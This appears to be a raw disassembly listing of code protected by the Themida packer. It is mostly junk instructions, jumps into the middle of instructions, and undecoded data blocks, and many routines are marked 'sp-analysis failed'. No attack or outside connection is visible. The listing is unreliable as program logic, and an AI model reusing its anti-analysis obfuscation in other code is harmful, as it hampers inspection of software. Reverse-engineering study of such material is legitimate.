		dd 8F000000h, 9B656A04h, 0BF0F5A15h, 8AC78BC3h,	0DDB753D9h
		dd 6DB9665Eh, 7E936h, 0C8880000h, 1E515F89h, 0C7816606h
		dd 850F7382h, 0
; ---------------------------------------------------------------------------
		cld
		push	ecx
		mov	esi, ecx
		pop	eax
		jmp	loc_6000B0
; ---------------------------------------------------------------------------
		dw 0C305h
		dd 8BA18564h, 78C61ABEh, 0C92D4686h
; ---------------------------------------------------------------------------


loc_6000B0:				; CODE XREF: Themida_:0060009Dj
		mov	cx, dx
		movsx	edi, bx
		call	sub_6000C3
		aaa
		fadd	dword ptr [esp+esi*8+0Ch]
		fisub	dword ptr [edx]
		aaa

; =============== S U B	R O U T	I N E =======================================



sub_6000C3	proc near		; CODE XREF: Themida_:006000B6p
		jp	loc_6000CE
		xor	ax, 0F0E7h


loc_6000CE:				; CODE XREF: sub_6000C3j
		pop	edi
		mov	dl, ch
		jmp	loc_6000E3
; ---------------------------------------------------------------------------
		dw 0C9F0h
		dd 0BF15DF0Fh, 17C28017h
		db 0ADh, 42h, 0F4h
; ---------------------------------------------------------------------------


loc_6000E3:				; CODE XREF: sub_6000C3+Ej
		jl	loc_6000F4
		jb	loc_6000F4
		and	bx, 0E8B8h


loc_6000F4:				; CODE XREF: sub_6000C3:loc_6000E3j
					; sub_6000C3+26j
		jmp	loc_60010B
; ---------------------------------------------------------------------------
		db 0D7h, 14h, 18h
		dd 8B1D5EB1h, 47F80B2Ah, 1877D4F1h
		db 0BAh, 0D2h, 53h
; ---------------------------------------------------------------------------


loc_60010B:				; CODE XREF: sub_6000C3:loc_6000F4j
		pusha
		mov	di, 0B4FEh
		ja	$+6
		popa
		movzx	esi, di
		jmp	loc_600132
; ---------------------------------------------------------------------------
		db 5Ah
		dd 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0CFF1CE0h
		db 0F7h, 0B1h
; ---------------------------------------------------------------------------


loc_600132:				; CODE XREF: sub_6000C3+57j
		jmp	loc_600143
; ---------------------------------------------------------------------------
		db 77h
		dd 0DA5C65B5h, 2CE64552h
		db 63h,	58h, 31h
; ---------------------------------------------------------------------------


loc_600143:				; CODE XREF: sub_6000C3:loc_600132j
		jbe	loc_60014B
		mov	edi, ebx


loc_60014B:				; CODE XREF: sub_6000C3:loc_600143j
		call	sub_60015F
		dec	ebp
		retn	5EA2h
sub_6000C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 9ADFC48h, 992E7378h
		db 0F3h, 0CFh, 2Fh

; =============== S U B	R O U T	I N E =======================================



sub_60015F	proc near		; CODE XREF: sub_6000C3:loc_60014Bp
		cld
		pop	edx
		movsx	esi, di
		push	ecx
		mov	di, 5D9Fh
		pop	ebx
		adc	dx, 20C8h
		call	near ptr loc_600184+4
		and	[edi-455E4D04h], dh
		xchg	eax, ecx
		mov	ah, 0E0h
		pushf
		db	2Eh
		dec	esp
		lahf
		adc	eax, [edx+6Ah]


loc_600184:				; CODE XREF: sub_60015F+10p
		xor	ebp, [ebx+6B58EADh]
sub_60015F	endp ; sp-analysis failed

		pop	ebx
		movzx	eax, di
		call	near ptr loc_6001A5+1
		db	36h
		inc	ebx
		sahf
		push	ss
		and	[ecx+ecx*2+6Ah], dh
		or	[ecx+71h], dl
		dec	esp
		enter	0FFFF8FDDh, 0D0h
		mov	ebx, [edi]


loc_6001A5:				; CODE XREF: Themida_:0060018Ep
		or	ebp, eax
		or	al, 0
; ---------------------------------------------------------------------------
		db 2 dup(0), 9Bh
		dd 937FA6Fh, 0CB6B3842h, 668D4911h, 5E3EDFB9h, 0C2BF0F5Ah
		dd 2890Fh, 0C68B0000h, 0ED9DE181h, 0B6B86A99h, 8A5ACC9Fh
		dd 0F8B70FD9h, 1A8C0Fh,	12E80000h, 0B9000000h, 0BAA6D074h
		dd 0B4ABCCD0h, 0AADBDC82h, 0F52C000Ah, 5F12B174h, 0A8E0Fh
		dd 5E90000h, 48000000h,	9687386Eh, 8BDE8BFCh, 0C3B70FC1h
		dd 0FC78B66h, 0BB66D6B7h, 0B70F6F0Fh, 0AE9DEh, 36E0000h
		dd 50B99139h, 0A0FB47C2h, 1521A0BEh, 0F63CBF26h, 0E9607DBFh
		dd 0Dh,	0F67A356Ch, 691B77CDh, 19F4A6Bh, 0C88161DFh, 0ACB2BB6h
		dd 0C4A1E881h, 8B0F0512h, 5, 0D053DAB8h, 0DE91Dh, 0AE720000h
		dd 1F5C18F9h, 0BEE0C6D2h, 0F3F1A81h, 1786h, 12E900h, 0A9C60000h
		dd 0C8D92A41h, 702BF620h, 30F956B0h, 3DAF0CB7h,	0BE66DA8Bh
		dd 880F0C2Bh, 1Eh, 880F60h, 0E9000000h,	11h, 0A0B94136h
		dd 0CA0391C3h, 0F0EDE555h, 0D0DFA4D4h, 0E95361BBh, 0Ah
		dd 0C1E96FA0h, 317B9C3Bh, 8A5FA76Eh, 77FAB9D1h,	0C68105CBh
		dd 6D5A373Fh, 0AE9h, 0AA065200h, 39266FF7h, 56168C9Eh
		dd 8E9h, 5CB2B900h, 0B80E75B9h,	0F575F99h, 6658D3BFh, 0C78ADE8Bh
		dd 0E9C18B60h, 8, 55F67260h, 1B98DCB9h,	0AE861h, 0ED150000h
		dd 7EE2A520h, 0DC104434h, 0EE9h, 0A2F54A00h, 3FD91B47h
		dd 15EAC77Dh, 5F66021Ch, 0FE8F5h, 67710000h, 45D2EC75h
		dd 8A6FE66h, 0DA5603BDh, 1B74BEB4h, 0F85E23C9h,	0C2D68160h
		dd 8B1943B6h, 12E961FAh, 94000000h, 2489AFB8h, 88DE0443h
		dd 0F5838B14h, 1234FCE1h, 0BE907h, 497A0000h, 3241E120h
		dd 0C0A1B886h, 18E0FD7h, 0FC000000h, 0E9C28BF5h, 10h, 44AAB53Ah
		dd 50FC9DBEh, 5EC271AFh, 0EC553BE8h, 0CE97BB3h,	0D5000000h
		dd 0A560DCE1h, 0B288822h, 0E99B7106h, 8, 57A2A5E0h, 0B031C5B5h
		dd 0D8D88166h, 5ED680DAh, 8BC781F8h, 0F6165C6h,	0A8Fh
		dd 4820F00h, 66000000h,	660272BAh, 8AF6ADB9h, 660BB0E5h
		dd 0D681D08Bh, 133BF9F4h, 0BE950h, 4D9F0000h, 46CD5FD5h
		dd 6E75197Ah, 0CE85EA3h, 0F1000000h, 0ECF46404h, 0E8058C43h
		dd 0E9EC4E88h, 6, 9B6A7Ah, 605F8357h, 39DA8053h, 6056615Bh
		dd 61608FB7h, 81665E61h, 666BF2EEh, 0B3C971BFh,	0D68B66B7h
		dd 0D3C9E881h, 0FF81723h, 0FE8BC9BFh, 0BE952h, 23B20000h
		dd 0CFC68B29h, 944CFD58h, 0BF0F5F89h, 188B0FF8h, 0E9000000h
		dd 13h,	1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h, 0F740D47h
		dd 8B66FFB7h, 0F28B66F8h, 3DD290BFh, 7CD8805Dh,	2860Fh
		dd 0E4B50000h, 0FCD08166h, 0E8F38B1Dh, 5, 0A4EAD44Eh, 5539BF65h
		dd 0E95846D2h, 6, 2B4359F9h, 0E960210Fh, 0Ah, 499BB94Ah
		dd 30ED25A7h, 840F769Bh, 0
; ---------------------------------------------------------------------------
		popa
		jmp	loc_6004DC
; ---------------------------------------------------------------------------
		rol	esi, 1
		and	eax, 59637B06h
		test	[eax+ebp], eax


loc_6004DC:				; CODE XREF: Themida_:006004CDj
		mov	bx, 919Dh
		jp	loc_6004EA
		mov	bx, 8363h


loc_6004EA:				; CODE XREF: Themida_:006004E0j
		and	edx, 14C90E93h
		call	sub_6004FD
		bound	ebp, [ebp-3Ah]
		leave
		jnz	short near ptr dword_6001AC+2EDh ; CODE	XREF: sub_600512+45j
		shl	byte ptr [eax],	1

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6004FD	proc near		; CODE XREF: Themida_:006004F0p
		jmp	sub_600512
sub_6004FD	endp

; ---------------------------------------------------------------------------
		dw 25DEh
		dd 0DA52C1EEh, 19E9D7E8h, 4659C27Ah
		db 4Eh,	62h

; =============== S U B	R O U T	I N E =======================================



sub_600512	proc near		; CODE XREF: sub_6004FDj

; FUNCTION CHUNK AT 0060055D SIZE 00000047 BYTES
; FUNCTION CHUNK AT 006005EB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00600601 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00600653 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00600656 SIZE 00000046 BYTES

		pop	edx
		jmp	loc_60052B
; ---------------------------------------------------------------------------
		dd 0D1D1E6E0h, 73A998AAh, 2952F609h, 0D4087744h
		db 0BCh, 56h, 0ADh
; ---------------------------------------------------------------------------


loc_60052B:				; CODE XREF: sub_600512+1j
		sbb	dh, 0B9h
		push	edi
		mov	cx, 9174h
		pop	edi
		mov	di, 8539h
		mov	bx, 3462h
		sub	cx, 53E8h
		mov	di, 21EDh
		cmc
		add	bx, 0A05Ch
		push	eax
		jnp	loc_60055D
		call	near ptr loc_60055A+2
		loope	near ptr loc_6004F9+1
		dec	edi


loc_60055A:				; CODE XREF: sub_600512+40p
		fist	word ptr [ebp+59h]
sub_600512	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_600512


loc_60055D:				; CODE XREF: sub_600512+3Aj
		pop	ebx
		movsx	ecx, di
		push	edx
		pusha
		mov	cx, 0AC2Dh
		clc
		popa
		pop	edi
		cmc
		mov	di, 0E787h
		mov	edx, 8D48739h
		jz	loc_60057C
		mov	dh, ch


loc_60057C:				; CODE XREF: sub_600512+62j
		stc
		mov	cx, 0FD36h
		movsx	edi, di
		movsx	ebx, dx
		movzx	ecx, ax
		call	near ptr loc_60059B+3
		dec	edi
		outsb
		adc	eax, 0E4B59438h
		jno	short loc_600601
		adc	[edi-17h], ebx


loc_60059B:				; CODE XREF: sub_600512+78p
		rcl	dword ptr [edx+0F58F951h], 1
		or	byte ptr [eax],	0
; END OF FUNCTION CHUNK	FOR sub_600512
; ---------------------------------------------------------------------------
		dd 890F0000h, 2, 0C0B9D7B0h, 0B8330B0Fh, 39CE3E5Dh, 0CE9h
		dd 73DC5A00h, 0D4CFF2D2h, 31936EA5h, 39B96696h,	0BE830h
		dd 30920000h, 0FFAEE096h, 0F279FBEEh, 0DFB70FA4h, 81665059h
		dd 5E54BFD6h
		db 66h,	81h, 0C8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_600512


loc_6005EB:				; CODE XREF: sub_600512+104j
		out	dx, al
		out	dx, eax
		movzx	ecx, bx
		mov	si, 1FE0h
		add	ebx, 5B11019Ah
		jmp	near ptr loc_600608+3
; END OF FUNCTION CHUNK	FOR sub_600512
; ---------------------------------------------------------------------------
		xor	al, 3Fh
; START	OF FUNCTION CHUNK FOR sub_600512


loc_600601:				; CODE XREF: sub_600512+84j
		out	dx, al
		cmp	esp, [ebx+20698E36h]


loc_600608:				; CODE XREF: sub_600512+E8j
		ror	dword ptr [ebx+0AE8h], 0
		fadd	dword ptr [edx+1F581198h] ; CODE XREF: sub_600512+155j
		db	3Eh
		ja	short loc_6005EB
		scasb
		jnp	loc_600622
		mov	edx, esi


loc_600622:				; CODE XREF: sub_600512+108j
		pop	ebx
		stc
		mov	al, 0E7h
		mov	dl, bh
		push	ecx
		jbe	loc_600632
		sbb	dl, 4Bh


loc_600632:				; CODE XREF: sub_600512+117j
		pop	edi
		mov	cx, bx
		movzx	ebx, cx
		mov	dl, cl
		adc	ebx, 70B70674h
		jmp	loc_600656
; END OF FUNCTION CHUNK	FOR sub_600512
; ---------------------------------------------------------------------------
		dw 0E495h
; ---------------------------------------------------------------------------
		push	ecx
		xchg	eax, ebp
		mov	ds:0C3C64727h, al
		pop	edi
		jmp	short loc_600698
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_600512


loc_600653:				; CODE XREF: sub_600512+187j
		push	es
; END OF FUNCTION CHUNK	FOR sub_600512
; ---------------------------------------------------------------------------
		db 10h,	6Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_600512


loc_600656:				; CODE XREF: sub_600512+12Fj
		mov	cl, bh
		jno	loc_600672
		pusha
		and	cl, 2Fh
		call	near ptr loc_60066C+4
		jnp	short near ptr loc_600610+2
		lodsb
		aas
		push	esi


loc_60066C:				; CODE XREF: sub_600512+150p
		mov	esi, 5BEC083Fh
		popa


loc_600672:				; CODE XREF: sub_600512+146j
		jz	loc_60067D
		adc	ax, 0F12Fh


loc_60067D:				; CODE XREF: sub_600512:loc_600672j
		push	edi
		mov	si, bx		; CODE XREF: sub_600512+183j
		pop	eax
		cmc
		mov	di, 5BEBh
		pusha
		push	esi
		call	sub_60069C
		and	al, 13h
		jno	short near ptr loc_60070C+4
		leave
		fld	qword ptr [esi]
		jecxz	short near ptr loc_60067E+1
		inc	esi


loc_600698:				; CODE XREF: Themida_:00600650j
		das
		db	26h
		jns	short loc_600653
; END OF FUNCTION CHUNK	FOR sub_600512

; =============== S U B	R O U T	I N E =======================================



sub_60069C	proc near		; CODE XREF: sub_600512+177p

arg_24		= word ptr  28h

		pop	eax
		pop	eax
		movsx	edi, ax
		popa
		mov	di, 7494h
		jnp	loc_6006B8
		jle	loc_6006B8
		and	ecx, 0E57165Ch


loc_6006B8:				; CODE XREF: sub_60069C+Aj
					; sub_60069C+10j
		jo	loc_6006DA
		call	sub_6006D7
		mov	ecx, 40C05436h
		sub	dl, dl
		and	ecx, [ecx-4FDC94F0h]
		arpl	[esp-28h+arg_24], di
		lodsb
		test	al, 0F1h
		push	edi
sub_60069C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6006D7	proc near		; CODE XREF: sub_60069C+22p
		mov	edi, edx
		pop	edi


loc_6006DA:				; CODE XREF: sub_60069C:loc_6006B8j
		movzx	eax, dx
		jo	loc_6006F9
		pusha
		sub	cx, 0B613h
		jmp	loc_6006F8
; ---------------------------------------------------------------------------
		dw 0D88Fh
		dd 2F78D56Ch, 3ABFC218h
; ---------------------------------------------------------------------------


loc_6006F8:				; CODE XREF: sub_6006D7+12j
		popa


loc_6006F9:				; CODE XREF: sub_6006D7+6j
		pusha
		mov	eax, 1863C954h
		clc
		popa
		mov	edi, 1721B05Eh
		jg	loc_600711


loc_60070C:				; CODE XREF: sub_600512+17Ej
		mov	edx, 10AE0Ch


loc_600711:				; CODE XREF: sub_6006D7+2Fj
		movsx	edi, ax
		call	sub_600727
		and	[ecx], dh
		add	eax, 0D295C1BBh
		xor	al, 18h
		rcl	dword ptr [ebx], 1
		insb
		xchg	al, dl
sub_6006D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_600727	proc near		; CODE XREF: sub_6006D7+3Dp
		jns	loc_60072F
		mov	al, dh


loc_60072F:				; CODE XREF: sub_600727j
		pop	ebx
		cmc
		stc
		mov	ax, cx
		mov	di, 424Eh
		jz	loc_60074A
		call	sub_600749
		not	ebp
		push	ecx
		xor	al, 11h
sub_600727	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_600749	proc near		; CODE XREF: sub_600727+18p
		pop	ebx


loc_60074A:				; CODE XREF: sub_600727+12j
		movzx	ebx, dx
		movsx	ebx, si
		jmp	loc_600763
; ---------------------------------------------------------------------------
		db 8Fh,	3Ch, 10h
		dd 4FFF5504h, 0BCF0854Dh
		db 52h,	0C7h, 0B9h
; ---------------------------------------------------------------------------


loc_600763:				; CODE XREF: sub_600749+7j
		sbb	si, 4122h
		cmc
		jmp	loc_600777
; ---------------------------------------------------------------------------
		dw 0AF7Ah
		dd 687808FBh
		db 0B2h, 15h, 0F4h
; ---------------------------------------------------------------------------


loc_600777:				; CODE XREF: sub_600749+20j
		sbb	edi, 7EFA6647h
		mov	ah, cl
		mov	esi, edx
		ja	loc_60078B
		mov	si, 944Fh


loc_60078B:				; CODE XREF: sub_600749+38j
		adc	edx, 69A41F83h
		jmp	loc_6007A5
; ---------------------------------------------------------------------------
		dw 0CF13h
		dd 1265CBCFh, 8D54D9AEh, 0B4AAC5C4h
		db 0E3h
; ---------------------------------------------------------------------------


loc_6007A5:				; CODE XREF: sub_600749+48j
		stc
		mov	eax, esi
		call	sub_6007B8
		cmc
		mov	dh, 8Fh
		xor	edi, [esi]
		and	edx, ebp
		aad	0B7h
		wait
		lahf
sub_600749	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6007B8	proc near		; CODE XREF: sub_600749+5Fp
		jge	loc_6007C1
		movsx	edx, ax


loc_6007C1:				; CODE XREF: sub_6007B8j
		pop	esi
		js	loc_6007D1
		jge	loc_6007D1
		mov	bx, si


loc_6007D1:				; CODE XREF: sub_6007B8+Aj
					; sub_6007B8+10j
		push	eax
		mov	cl, dh
		pop	edx
		jnz	loc_6007DE
		mov	dx, si


loc_6007DE:				; CODE XREF: sub_6007B8+1Dj
		jbe	loc_6007FC
		jmp	loc_6007FC
; ---------------------------------------------------------------------------
		db 0Fh,	1Ah, 0BDh
		dd 6B3C38EDh, 0D49E51DFh, 1C0D7F7Ah, 0F8AE635Ah
; ---------------------------------------------------------------------------


loc_6007FC:				; CODE XREF: sub_6007B8:loc_6007DEj
					; sub_6007B8+2Cj
		add	di, 2CB8h
		jge	loc_600809
		mov	cl, 9Dh


loc_600809:				; CODE XREF: sub_6007B8+49j
		cld
		mov	ebx, eax
		movzx	edx, dx
		mov	si, 9EC9h
		ja	loc_600829
		jmp	loc_600829
; ---------------------------------------------------------------------------
		call	dword ptr [esi+7Eh]
		inc	eax
		clc
		mov	ds:0B76AEEACh, al
		inc	esi


loc_600829:				; CODE XREF: sub_6007B8+5Bj
					; sub_6007B8+61j
		mov	ah, bh
		mov	edx, esi
		pusha
		jmp	loc_60083B
; ---------------------------------------------------------------------------
		sbb	byte ptr [esi-22h], 0E2h
		or	[edi+48h], eax
		aas


loc_60083B:				; CODE XREF: sub_6007B8+76j
		cmc
		popa
		adc	si, 1090h
		mov	esi, 7EC1F132h
		jle	loc_600850
		movsx	ecx, si


loc_600850:				; CODE XREF: sub_6007B8+8Fj
		mov	di, dx
		jp	loc_60085F
		sub	esi, 7B7B8251h


loc_60085F:				; CODE XREF: sub_6007B8+9Bj
		sbb	edx, 0E63BE9Eh
		pusha
		mov	cx, di
		popa
		pusha
		mov	bh, al
		stc
		popa
		call	sub_600879
		shr	dword ptr [ebx-1Ch], cl
		fist	word ptr [eax]
sub_6007B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_600879	proc near		; CODE XREF: sub_6007B8+B7p

arg_4CC4504B	= dword	ptr  4CC4504Fh

		cmc
		pop	ecx
		mov	al, 69h
		movsx	edi, di
		jnz	loc_600889
		mov	si, di


loc_600889:				; CODE XREF: sub_600879+7j
		cmc
		pusha
		jo	loc_600897
		sbb	esi, 72E420AEh


loc_600897:				; CODE XREF: sub_600879+12j
		movsx	edx, ax
		popa
		sub	eax, 70018754h
		movzx	esi, si
		sbb	edi, 2077F04Bh
		cld
		jmp	loc_6008BB
; ---------------------------------------------------------------------------
		dd 695CC20Fh, 0FD544916h
		db 90h
		db 2Eh,	38h
; ---------------------------------------------------------------------------


loc_6008BB:				; CODE XREF: sub_600879+32j
		stc
		sub	bl, 83h
		stc
		push	edi
		jb	loc_6008CD
		jz	$+6


loc_6008CD:				; CODE XREF: sub_600879+48j
		pop	edx
		jmp	loc_6008D9
; ---------------------------------------------------------------------------
		pusha
		rcr	byte ptr [edi+76h], 62h


loc_6008D9:				; CODE XREF: sub_600879+55j
		jmp	loc_6008ED
; ---------------------------------------------------------------------------
		dw 5785h
		dd 0D27244AEh, 56AD435Bh, 830FBD5Ch
; ---------------------------------------------------------------------------
		pop	ecx


loc_6008ED:				; CODE XREF: sub_600879:loc_6008D9j
		adc	cx, 3F69h
		mov	di, 0D07Ch
		sub	cl, 7
		adc	dh, 88h
		mov	di, 0C6AAh
		call	near ptr sub_60090C
		add	[esp+ebp*8+4CC4CEE3h], edx
sub_600879	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60090C	proc far		; CODE XREF: sub_600879+87p

; FUNCTION CHUNK AT 006009BC SIZE 00000025 BYTES

		add	dl, 0DAh
		pop	esi
		sub	ah, 97h
		jmp	loc_600927
; ---------------------------------------------------------------------------
		dd 178970DAh, 0D5FF3BDAh, 3CE9B009h
		db 0AAh, 0C5h, 0B0h
; ---------------------------------------------------------------------------


loc_600927:				; CODE XREF: sub_60090C+7j
		mov	bx, si
		pusha
		stc
		mov	cx, ax
		popa
		jmp	loc_600949
; ---------------------------------------------------------------------------
		db 0D3h, 8, 0A0h
		dd 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh
		db 0CAh
; ---------------------------------------------------------------------------


loc_600949:				; CODE XREF: sub_60090C+24j
		push	ebx
		jmp	loc_60095E
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 305E1AE6h, 6F3A2522h, 22F5CAA3h
		db 0B8h, 0BDh
; ---------------------------------------------------------------------------


loc_60095E:				; CODE XREF: sub_60090C+3Ej
		pop	edx
		mov	ax, 7F76h
		mov	ax, cx
		clc
		sbb	eax, 24C45EB6h
		mov	si, dx
		movzx	eax, dx
		push	esi
		jp	loc_60097C
		mov	bl, ch


loc_60097C:				; CODE XREF: sub_60090C+68j
		pop	edi
		sub	ebx, 94D48CDh
		mov	esi, edx
		pusha
		jmp	loc_600990
; ---------------------------------------------------------------------------
		db 89h
		dd 0FF3BDA17h
; ---------------------------------------------------------------------------


loc_600990:				; CODE XREF: sub_60090C+7Aj
		mov	dx, si
		popa
		adc	dx, 4874h
		jbe	loc_6009A4
		pusha
		movzx	edi, cx
		popa


loc_6009A4:				; CODE XREF: sub_60090C+8Dj
		js	loc_6009BC
		call	near ptr locret_6009B5+1
		test	al, 27h
		in	eax, dx
		sub	bl, [ebp-28h]

locret_6009B5:				; CODE XREF: sub_60090C+9Ep
		retf	8166h
sub_60090C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 5EC3C3EFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60090C


loc_6009BC:				; CODE XREF: sub_60090C:loc_6009A4j
		jb	loc_6009C6
		mov	dx, 7C70h


loc_6009C6:				; CODE XREF: sub_60090C:loc_6009BCj
		call	near ptr loc_6009D4+1
		xor	dword ptr [edi+3Fh], 3C24A44Bh
		push	edi
		lahf


loc_6009D4:				; CODE XREF: sub_60090C:loc_6009C6p
		mov	ah, 66h
		or	esi, 66588C47h
		mov	eax, 5E99F64h
; END OF FUNCTION CHUNK	FOR sub_60090C
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0E932E291h, 6004B3AEh, 0FCEB70Fh, 58Eh, 7F43BA00h, 0F6161B5h
		dd 0A81h, 4890F00h, 66000000h, 80E7C1BBh, 0E680A6F1h, 0EE9F9BFh
		dd 99000000h, 186E68B4h, 88726ABBh, 0C5A6C518h,	5E9A4h
		dd 0FA920000h, 6692347Ch, 684BDF81h, 8ACF8B66h,	65B052EFh
		dd 850F5758h, 16h, 11E9h, 0F08CA000h, 0E5468E9Dh, 766E5E50h
		dd 28FC558Bh, 0BB5F216Fh, 3F579D3Fh, 2D11E181h,	0EE9255Ah
		dd 22000000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 0D0BF66CCh
		dd 6E9A0h, 48F0000h, 159B656Ah,	0CE9h, 0D12F8700h, 12AE5DF8h
		dd 36434EE9h, 52EC806Eh, 0E808E680h, 6,	68F62FD6h, 6660FEB0h
		dd 66BE9EBBh, 3C4EEA81h, 0DE95A61h, 59000000h, 3BEBC2CCh
		dd 0B598A60Eh, 4FA1E100h, 8166F98Bh, 0F0530DAh,	0B88h
		dd 5E800h, 469B0000h, 58AD0928h, 0AE9h,	529F4500h, 3554C198h
		dd 66662652h, 2FF5DB81h, 0C8A0Fh, 800F0000h, 6,	840Fh
		dd 0BF0F0000h, 0DEE80C8h, 665252B1h, 0B95FDF8Bh, 511FCB32h
		dd 208D0Fh, 0E8600000h,	0Dh, 0FEAC156h,	95ED08F6h, 0DA74DBD6h
		dd 5E8597Ah, 8C000000h,	0DD55F2B0h, 0EE8615Bh, 0E6000000h
		dd 0B3EA7D08h, 3FE3ABF9h, 7C757787h, 0CEB70F99h, 0FBBF0F58h
		dd 14E9h, 6846100h, 0BBE8DE64h,	8504409Ah, 4ED34501h, 0EAF50205h
		dd 0EE9517Bh, 0BE000000h, 0E6E775D8h, 355A26FEh, 51458F78h
		dd 8B665904h, 0EFBB66F2h, 0C9C68111h, 5010C9E0h, 48A0Fh
		dd 0BB660000h, 0E958F5B9h, 0Eh,	0AC1D99B0h, 6FB4F653h
		dd 7BE89E3Dh, 0BF0FFDFDh, 0F28166DBh, 0EE9A2ACh, 16000000h
		dd 2FA86AE9h, 0A8931748h, 847119BEh, 0F8DE8B96h, 5F5ED381h
		dd 0F5532F93h, 8E95Bh, 0B4550000h, 9326F904h, 0C8812089h
		dd 3BEAE181h, 3800Fh, 0B70F0000h, 0FB8B66C2h, 0BF6624B4h
		dd 0C78B2DFFh, 3FBA62B4h, 6631B9CBh, 0E8D4F781h, 6E9h
		dd 0AFFB2400h, 0F95F22B2h, 599202BBh, 0FC78B53h, 38Bh
		dd 0CBBF0F00h, 0BDB45A56h, 13E9h, 9241F00h, 85A48A41h
		dd 87CC6CE1h, 1DE8207Ah, 2A74EB25h, 0E8B0Fh, 9E90000h
		dd 0F9000000h, 7C14DBB6h, 813EA10Eh, 0A9A835BEh, 0E8F18B44h
		dd 5, 4203496Fh, 58F0F7Ah, 0B8000000h, 245D596Ch, 73DB815Eh
		dd 6600422Bh, 0E8F8D68Bh, 0Ah, 0A126678Ch, 0B727D266h
		dd 880F8F7Dh, 3, 5F81CA80h, 8B66F08Bh, 6E8F9h, 0E9C40000h
		dd 245D9E98h, 0E8816659h, 800F9A73h, 0Ch, 68C0Fh, 0D1810000h
		dd 2750B111h, 66D68B66h, 0AC5CF681h, 9EEB8166h,	0D38B5649h
		dd 8E9F95Bh, 38000000h,	0DF2A9732h, 66ADDD06h, 0E9CC47B8h
		dd 9, 0EECA325Dh, 319D85D8h, 0A9B966F8h, 13860F46h, 0E9000000h
		dd 0Eh,	0EFF0E32h, 757FF2A2h, 0DF0B9FF4h, 8B668A31h, 17800FFBh
		dd 0E8000000h, 0Bh, 5DADA8F8h, 0ECA2B831h, 0F7F8D51h, 8Ch
		dd 5E85F00h, 0FF000000h, 1A22CFB0h, 5ECE8B57h, 3860F5Bh
		dd 66000000h, 0CE8CE8Bh, 88000000h, 97D943E7h, 6A111A3Bh
		dd 0B6EF32E0h, 0BE95FB5h, 0A1000000h, 0DCF75116h, 0A6D6963Eh
		dd 0CE81B190h, 3C49F9EBh, 7E850h, 24F90000h, 0E6CCBD33h
		dd 0DE885h, 65710000h, 80BCDE50h, 1FC1E531h, 5F2AD321h
		dd 0F08A5B5Fh, 0BAE9B866h, 0B8FCFA8Bh, 7F0CD447h, 0B866FA8Bh
		dd 6BB28AAFh, 7A6D33BFh, 66D88A02h, 403BE681h, 0E9DBBF0Fh
		dd 0Dh,	723B6FC2h, 576B54CFh, 0E4DD47C4h, 6ABF6619h, 1830FEEh
		dd 0F8000000h, 0FA8BF960h, 0D865B861h, 0B70F79F3h, 60F18BF7h
		dd 5E951h, 0FF320000h, 5F711E42h, 6061DF8Bh, 2EE48060h
		dd 0F6B1B861h, 666101CAh, 669DF6B8h, 96B3F38Bh,	850Fh
		dd 0FF50000h, 0F78BD1B7h, 2880F60h, 52000000h, 0C38B6658h
		dd 14E86061h, 0F0000000h, 0C29D5CB6h, 3294BD2h,	68ED2D62h
		dd 0BE8A03D1h, 0FCE79D8Bh, 12E96058h, 0C4000000h, 15A1A795h
		dd 24BA5261h, 130A2F7Ah, 8FF8031Fh, 0CBC981C5h,	6174D44Ch
		dd 13850F61h, 0E9000000h, 0Eh, 4B96D67h, 0FE8B616Ch, 15BA2DF1h
		dd 0BF0F8BACh, 0F2CF81F3h, 0F085A73h, 1A8Eh, 10E96000h
		dd 0C2000000h, 6F9EDAE0h, 5069DE47h, 0EA119A92h, 0FD4843Fh
		dd 8B61F2B7h, 0ACC5B9D8h, 5F50626Dh, 8E0FDE8Bh,	6, 6EC3F681h
		dd 66601A75h, 6060C68Bh, 6E961h, 0EF300000h, 9BA281B6h
		dd 9E96161h, 0F6000000h, 0A86408A7h, 59090C59h,	0FCC3BF0Fh
		dd 3810Fh, 8B660000h, 7E9CEh, 0DEF30000h, 6FAE907Dh, 0DF8B6057h
		dd 0B86661F5h, 0BA668912h, 66FC7757h, 66CF21BAh, 6056CA8Bh
		dd 0FE9h, 0C9170E00h, 0C6D41A14h, 0F8827802h, 0F8F08174h
		dd 5B61B6B4h, 0BECE8B66h, 6342183Bh, 6902FCBBh,	53DE8A28h
		dd 14E8h, 83E8F600h, 6B18FE80h,	6020C2EBh, 2E0DB1B9h, 0D60DE9D3h
		dd 0F5B5F43h, 28Fh, 80CE8B00h, 8E960EBh, 2F000000h, 0D06E90BDh
		dd 0E9A2BB90h, 8, 88E8058Ch, 1FBDEC4Eh,	6E9h, 0B6785600h
		dd 8B7E4054h, 2870FCFh,	8B000000h, 0D3BF0FCFh, 8B6650FCh
		dd 10E95FC3h, 29000000h, 5157EE23h, 0ED48A5C6h,	573E7FD5h
		dd 0BEB1E5A1h, 4D244946h, 0B9FFB70Fh, 73C75B02h, 5E9h
		dd 0EFADB200h, 80F9D6CDh, 0DF8B6EC7h, 81F1B70Fh, 61DE8BC0h
		dd 0FE948h, 82A10000h, 0C1EA3B47h, 7D32C36h, 9046D35Dh
